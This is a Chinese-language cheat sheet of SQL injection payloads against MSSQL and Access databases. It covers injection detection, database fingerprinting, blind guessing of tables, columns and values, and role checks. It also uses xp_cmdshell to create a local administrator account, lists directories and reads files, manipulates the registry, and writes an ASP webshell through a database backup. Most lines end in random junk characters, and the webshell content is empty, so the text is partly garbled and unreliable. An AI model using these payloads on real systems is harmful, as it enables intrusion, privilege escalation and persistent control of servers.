1.判断是否有注入;and 1=1 ;and 1=2 J-ePE7i
2.初步判断是否是mssql ;and user>0 7y`}PMn
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3.注入参数是字符'and [查询条件] and ''=' DaH?@Q
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' [lk'xzE
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5.判断数据库系统 :0/q5_t
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;and (select count(*) from sysobjects)>0 mssql 87WBM;$&s
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;and (select count(*) from msysobjects)>0 access U;n*j3wT
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 N-g8}03
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 v?c 0[+?
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 }P3tn
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9.(1)猜字段的ascii值(access) UA~RK2k?
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 n}mR~YqD
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(2)猜字段的ascii值(mssql) 4Iq'/r
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 81%8{yn!$"
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10.测试权限结构(mssql) N4K8
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- }<jb vCeK
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 65,(4Udz!
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- pbHsR^
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- f-2$
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 1\L[i];L8
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 6
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;and 1=(select IS_MEMBER('db_owner'));-- R)Mt(gFZT_
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11.添加mssql和系统的帐户 +~sd"v6
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;exec master.dbo.sp_addlogin username;-- IB9%QW"0
;exec master.dbo.sp_password null,username,password;-- lz |
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- pL1s@KR
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;exec master.dbo.xp_cmdshell 'net user username password _'x8M
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- dpN@#w
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- VFD%h
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12.(1)遍历目录 e5v`;(^M
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;create table dirs(paths varchar(100), id int) !#D=w$@r:
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(2)遍历目录 Ns~&sE:
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 0my9l;X
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 r)l`
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 o$bUY7_
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 oFg'wAO.
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 )@PnTpL*
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13.mssql中的存储过程 P\B3
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xp_regenumvalues 注册表根键, 子键 V,4.$<e
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 O2#S: ~h
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xp_regread 根键,子键,键值名 (wL3 +
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;exec xp_regread 5Hle-FDn9
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 p{H0dj ^|
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xp_regwrite 根键,子键, 值名, 值类型, 值 @l,{x|00
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 r{ "uv=,`
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xp_regdeletevalue 根键,子键,值名 xyV]?~7
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 9t}xXk
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 v72,h
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14.mssql的backup创建webshell @zs1>\J7
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create table cmd(str image); TolrEcI
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insert into cmd(str) values (''); 0Q3 YN(
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backup database model to disk='c:\l.asp'; ~h|m&XK+Q
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15.mssql内置函数 $O]^Xm3{@
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;and (select @@version)>0 获得Windows的版本号 G|V\^.f<
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa s?+fPOF
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;and (select user_name())>0 爆当前系统的连接用户 *s36OF!
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;and (select db_name())>0 得到当前连接的数据库 #}j]XWy
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16.简洁的webshell *sAOpf@M
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use model XP4jZCt9
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create table cmd(str image); |87W*
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insert into cmd(str) values (''); [{/$9k-aF?
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backup database model to disk='g:\wwwtest\l.asp';